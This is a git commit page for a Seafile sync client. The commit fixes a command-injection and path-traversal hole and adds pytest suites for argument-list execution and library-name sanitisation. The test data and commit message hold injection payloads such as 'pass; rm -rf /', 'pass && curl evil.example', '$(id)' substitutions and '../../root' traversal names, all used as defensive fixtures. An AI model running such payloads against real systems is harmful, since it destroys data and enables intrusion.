Stop server-provided values from reaching a shell or escaping /dsc/seafile
Commands were joined into a string and passed to "su -c", so a login shell parsed every interpolated value. A library name is chosen on the server, and "sync -d /dsc/seafile/<name>" put it straight into that string: a library named 'Docs; touch /tmp/pwned; #' ran as an arbitrary command. Confirmed against the built image before and after this change. Every command is now an argument list executed by "runuser --", which execs directly with no shell. runuser -u sets the same HOME and a PATH that still finds the seaf-cli wrapper, so the daemon environment is unchanged. The password no longer needs its surrounding quotes, which also fixes passwords containing quotes, dollar signs, and backticks. Library names are untrusted, so dsc/paths.py reduces each one to a single path component and proves the result stays under the libraries directory with symlinks resolved. Empty, ".", "..", and names containing a separator are skipped with a warning; names that would collide are suffixed with their library ID rather than sharing a directory. Tests cover quotes, command substitutions, separators, newlines, absolute paths, parent traversal, Unicode, and colliding names. They run in a separate CI job so application failures stay distinguishable from packaging failures.
This commit is contained in:
1 parent
50ede0b2f9
commit
c15763d9f8
12 files changed
+478
-38
No files matched your search
@@ -0,0 +1,21 @@
|
||||
"""Make ``dsc.client`` importable outside the container.
|
||||
|
||||
``seafile`` and ``pysearpc`` ship with the Seafile CLI AppImage and only exist
|
||||
inside the image. The application tests must not need a live server or that
|
||||
AppImage, so a stub module stands in for the RPC client.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import types
|
||||
from unittest import mock
|
||||
|
||||
|
||||
def _install_seafile_stub():
|
||||
if "seafile" in sys.modules:
|
||||
return
|
||||
seafile = types.ModuleType("seafile")
|
||||
seafile.RpcClient = mock.MagicMock(name="RpcClient")
|
||||
sys.modules["seafile"] = seafile
|
||||
|
||||
|
||||
_install_seafile_stub()
|
||||
@@ -0,0 +1,139 @@
|
||||
"""Every subprocess must be an argument list, never a shell string."""
|
||||
|
||||
import argparse
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
|
||||
from dsc import client as client_module
|
||||
from dsc import const
|
||||
from dsc.client import SeafileClient
|
||||
from dsc.misc import hide_password, user_cmd
|
||||
|
||||
# Values that would be interpreted by a shell if a command were ever joined
|
||||
# into a string and handed to ``su -c``.
|
||||
SHELL_METACHARACTERS = [
|
||||
'pa"ss',
|
||||
"pa'ss",
|
||||
"pa$(id)ss",
|
||||
"pa`id`ss",
|
||||
"pass; rm -rf /",
|
||||
"pass && curl evil.example",
|
||||
"pass | tee /tmp/x",
|
||||
"pass\nrm -rf /",
|
||||
"pass with spaces",
|
||||
"pass\\backslash",
|
||||
"паssшörд",
|
||||
]
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def client():
|
||||
return SeafileClient(
|
||||
host="seafile.example",
|
||||
user="user@example",
|
||||
passwd="s3cret",
|
||||
app_dir="/dsc",
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def calls(monkeypatch):
|
||||
"""Capture every subprocess invocation instead of running it."""
|
||||
recorded = []
|
||||
|
||||
def fake_run(argv, **kwargs):
|
||||
recorded.append((argv, kwargs))
|
||||
return subprocess.CompletedProcess(argv, 0, stdout=b"")
|
||||
|
||||
monkeypatch.setattr(subprocess, "run", fake_run)
|
||||
# Directory creation is covered by the path tests; keep the real
|
||||
# filesystem out of command construction.
|
||||
monkeypatch.setattr(client_module, "create_dir", lambda path: None)
|
||||
return recorded
|
||||
|
||||
|
||||
def test_user_cmd_uses_runuser_without_a_shell():
|
||||
argv = user_cmd(["seaf-cli", "status"])
|
||||
assert argv == ["runuser", "-u", const.DEFAULT_USERNAME, "--", "seaf-cli", "status"]
|
||||
|
||||
|
||||
def test_user_cmd_never_invokes_a_shell():
|
||||
argv = user_cmd(["seaf-cli", "sync", "-d", "a; rm -rf /"])
|
||||
assert "-c" not in argv
|
||||
assert not any(arg.endswith("sh") for arg in argv)
|
||||
# The dangerous value stays a single, unsplit argument.
|
||||
assert argv[-1] == "a; rm -rf /"
|
||||
|
||||
|
||||
def test_user_cmd_rejects_a_string():
|
||||
with pytest.raises(TypeError):
|
||||
user_cmd("seaf-cli status")
|
||||
|
||||
|
||||
@pytest.mark.parametrize("password", SHELL_METACHARACTERS)
|
||||
def test_sync_passes_password_as_one_unquoted_argument(client, calls, password):
|
||||
client.password = password
|
||||
client.sync_lib("lib-id", "/dsc/seafile/Docs")
|
||||
|
||||
argv, _ = calls[-1]
|
||||
assert argv[argv.index("-p") + 1] == password
|
||||
|
||||
|
||||
@pytest.mark.parametrize("lib_dir", [
|
||||
"/dsc/seafile/a\"; touch /tmp/pwned; #",
|
||||
"/dsc/seafile/$(id)",
|
||||
"/dsc/seafile/`id`",
|
||||
"/dsc/seafile/name with spaces",
|
||||
])
|
||||
def test_sync_passes_library_dir_as_one_argument(client, calls, lib_dir):
|
||||
client.sync_lib("lib-id", lib_dir)
|
||||
|
||||
argv, _ = calls[-1]
|
||||
assert argv[argv.index("-d") + 1] == lib_dir
|
||||
|
||||
|
||||
def test_sync_command_is_a_list_of_strings(client, calls):
|
||||
client.sync_lib("lib-id", "/dsc/seafile/Docs")
|
||||
|
||||
argv, kwargs = calls[-1]
|
||||
assert isinstance(argv, list)
|
||||
assert all(isinstance(arg, str) for arg in argv)
|
||||
assert kwargs.get("shell") is not True
|
||||
|
||||
|
||||
@pytest.mark.parametrize("password", SHELL_METACHARACTERS)
|
||||
def test_sync_never_logs_the_password(client, calls, caplog, password):
|
||||
client.password = password
|
||||
with caplog.at_level("INFO"):
|
||||
client.sync_lib("lib-id", "/dsc/seafile/Docs")
|
||||
|
||||
assert password not in caplog.text
|
||||
|
||||
|
||||
def test_hide_password_masks_every_occurrence():
|
||||
masked = hide_password(["-p", "secret", "-u", "secret-user"], "secret")
|
||||
assert masked == ["-p", "********", "-u", "********-user"]
|
||||
|
||||
|
||||
def test_hide_password_does_not_mutate_the_original():
|
||||
argv = ["-p", "secret"]
|
||||
hide_password(argv, "secret")
|
||||
assert argv == ["-p", "secret"]
|
||||
|
||||
|
||||
def test_configure_passes_option_values_as_arguments(client, calls, monkeypatch):
|
||||
# Changing an option restarts the daemon, and that restart polls without a
|
||||
# timeout. Keep this test on command construction only.
|
||||
monkeypatch.setattr(client, "stop_daemon", lambda: None)
|
||||
monkeypatch.setattr(client, "start_daemon", lambda: None)
|
||||
|
||||
args = argparse.Namespace(upload_limit=100, unrelated="ignored")
|
||||
client.configure(args, check_for_daemon=False)
|
||||
|
||||
argvs = [argv for argv, _ in calls]
|
||||
prefix = ["runuser", "-u", const.DEFAULT_USERNAME, "--", "seaf-cli", "config"]
|
||||
assert prefix + ["-k", "upload_limit"] in argvs
|
||||
assert prefix + ["-k", "upload_limit", "-v", "100"] in argvs
|
||||
# An option that seaf-cli does not know about is never forwarded.
|
||||
assert not any("ignored" in argv for argv in argvs)
|
||||
@@ -0,0 +1,111 @@
|
||||
import os
|
||||
|
||||
import pytest
|
||||
|
||||
from dsc.paths import UnsafeLibraryName, lib_dirname, plan_lib_dirs, resolve_lib_dir
|
||||
|
||||
PARENT = "/dsc/seafile"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name, expected", [
|
||||
("Documents", "Documents"),
|
||||
("My Library", "My_Library"),
|
||||
(" padded ", "padded"),
|
||||
("Ünïcödé ☂", "Ünïcödé_☂"),
|
||||
# The characters below used to reach a shell. They are now ordinary
|
||||
# filename characters and must survive untouched.
|
||||
('quote"name', 'quote"name'),
|
||||
("single'name", "single'name"),
|
||||
("semi;colon", "semi;colon"),
|
||||
("dollar$(id)", "dollar$(id)"),
|
||||
("back`id`tick", "back`id`tick"),
|
||||
("pipe|amp&name", "pipe|amp&name"),
|
||||
("new\nline", "new_line"),
|
||||
("tab\tname", "tab_name"),
|
||||
("dash-lead", "dash-lead"),
|
||||
("-leading-dash", "-leading-dash"),
|
||||
])
|
||||
def test_lib_dirname_accepts(name, expected):
|
||||
assert lib_dirname(name) == expected
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", [
|
||||
"",
|
||||
" ",
|
||||
"\n",
|
||||
".",
|
||||
"..",
|
||||
"...", # not special to the kernel, but never a library name we want
|
||||
"/",
|
||||
"/etc",
|
||||
"/etc/passwd",
|
||||
"../escape",
|
||||
"../../root",
|
||||
"nested/name",
|
||||
"trailing/",
|
||||
"nul\0byte",
|
||||
])
|
||||
def test_lib_dirname_rejects(name):
|
||||
with pytest.raises(UnsafeLibraryName):
|
||||
lib_dirname(name)
|
||||
|
||||
|
||||
def test_resolve_lib_dir_stays_under_parent():
|
||||
assert resolve_lib_dir(PARENT, "Documents") == "/dsc/seafile/Documents"
|
||||
|
||||
|
||||
def test_resolve_lib_dir_rejects_escape_through_symlink(tmp_path):
|
||||
parent = tmp_path / "seafile"
|
||||
parent.mkdir()
|
||||
outside = tmp_path / "outside"
|
||||
outside.mkdir()
|
||||
(parent / "escape").symlink_to(outside)
|
||||
|
||||
with pytest.raises(UnsafeLibraryName):
|
||||
resolve_lib_dir(str(parent), "escape")
|
||||
|
||||
|
||||
def test_resolve_lib_dir_allows_real_dir_under_parent(tmp_path):
|
||||
parent = tmp_path / "seafile"
|
||||
parent.mkdir()
|
||||
(parent / "Documents").mkdir()
|
||||
|
||||
resolved = resolve_lib_dir(str(parent), "Documents")
|
||||
assert resolved == os.path.realpath(str(parent / "Documents"))
|
||||
|
||||
|
||||
def test_plan_lib_dirs_maps_each_library_to_its_own_dir():
|
||||
plan = plan_lib_dirs({"id-a": "Docs", "id-b": "My Photos"}, PARENT)
|
||||
assert plan == {
|
||||
"id-a": "/dsc/seafile/Docs",
|
||||
"id-b": "/dsc/seafile/My_Photos",
|
||||
}
|
||||
|
||||
|
||||
def test_plan_lib_dirs_disambiguates_duplicate_names():
|
||||
libs = {"aaaaaaaabbbb": "Docs", "ccccccccdddd": "Docs"}
|
||||
plan = plan_lib_dirs(libs, PARENT)
|
||||
|
||||
assert plan == {
|
||||
"aaaaaaaabbbb": "/dsc/seafile/Docs-aaaaaaaa",
|
||||
"ccccccccdddd": "/dsc/seafile/Docs-cccccccc",
|
||||
}
|
||||
|
||||
|
||||
def test_plan_lib_dirs_duplicate_suffix_is_order_independent():
|
||||
libs = {"aaaaaaaabbbb": "Docs", "ccccccccdddd": "Docs"}
|
||||
reversed_libs = dict(reversed(list(libs.items())))
|
||||
assert plan_lib_dirs(libs, PARENT) == plan_lib_dirs(reversed_libs, PARENT)
|
||||
|
||||
|
||||
def test_plan_lib_dirs_duplicates_collide_after_space_folding():
|
||||
"""'A B' and 'A_B' both fold to 'A_B' and must not share a directory."""
|
||||
libs = {"aaaaaaaabbbb": "A B", "ccccccccdddd": "A_B"}
|
||||
plan = plan_lib_dirs(libs, PARENT)
|
||||
assert len(set(plan.values())) == 2
|
||||
|
||||
|
||||
def test_plan_lib_dirs_skips_unsafe_names_and_keeps_the_rest():
|
||||
libs = {"good": "Docs", "bad": "../escape"}
|
||||
plan = plan_lib_dirs(libs, PARENT)
|
||||
assert plan == {"good": "/dsc/seafile/Docs"}
|
||||
Reference in new issue
Block a user